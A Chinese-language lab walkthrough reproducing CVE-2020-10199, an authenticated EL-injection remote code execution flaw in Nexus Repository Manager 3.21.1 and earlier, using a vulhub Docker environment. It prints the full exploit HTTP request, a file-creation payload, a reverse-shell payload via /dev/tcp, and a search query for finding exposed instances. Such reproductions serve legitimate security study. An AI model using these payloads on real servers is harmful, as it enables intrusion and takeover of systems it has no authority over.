一、简介

nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。

主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库,功能非常强大。

二、漏洞概述

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于后台存在一处任意EL表达式注入漏洞,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。此漏洞的利用需要攻击者具备任意类型的账号权限

三、影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

四、网络测绘

app=”Nexus-Repository-Manager”

五、环境部署

cd /usr/local/vulhub/nexus/CVE-2020-10199
sudo docker-compose up -d

1675415025383-ac23cfee-6e14-4790-969b-1924318227e6

六、漏洞复现

访问:http://ip:8081 进入登录页面

1675415170857-3d425d22-e673-4d1c-8869-96e125858cf1

强制修改默认口令(可设置为原口令/弱口令)

1675415225164-9b00aa4b-0784-4816-880d-da5447989da0

使用admin/admin登录后台后,登录后使用f12找到cookie复制当前的csrf-Token

1675416403026-7ee04637-a2a3-4507-89cc-33702e2929fe

使用burp进行抓包,替换以下数据包,然后把自己的cookie和csrf-Token粘贴上去,然后发包即可看到执行了9*9

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.64.139:8081
Content-Length: 151
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
NX-ANTI-CSRF-TOKEN: 0.13458863892030704
Content-Type: application/json
Accept: */*
Origin: http://192.168.64.139:8081
Referer: http://192.168.64.139:8081
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.13458863892030704; NXSESSIONID=a576d9e8-10a7-4ba4-a8af-08cc63845895
Connection: close

{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\A{9*9}"]}}

1675417046649-3ddf1f8f-dcff-4f8a-90dc-9f0ab765f863

把执行9*9修改为创建一个文件,进入docker中查看创建成功

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}

1675651801120-40eb686c-bc9b-4cf5-8515-9d8c24309afa

1675651825364-2c39b59a-b02a-402a-8621-b4a842cf42f2

使用nc进行监听,执行反弹shell把执行写入文件的payload修改成反弹shell的命令,点击发送查看nc的监听看到返回了shell

1675651945985-faee73f0-cbaa-44fe-8997-7770edbd1b9e

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')}

1675652020711-d643dcd2-29fa-4f8d-becc-d6a8f900c535

1675652105168-5ef3fb21-5dc5-4e8d-b244-7d68df114c6b

七、修复建议

升级至最新版本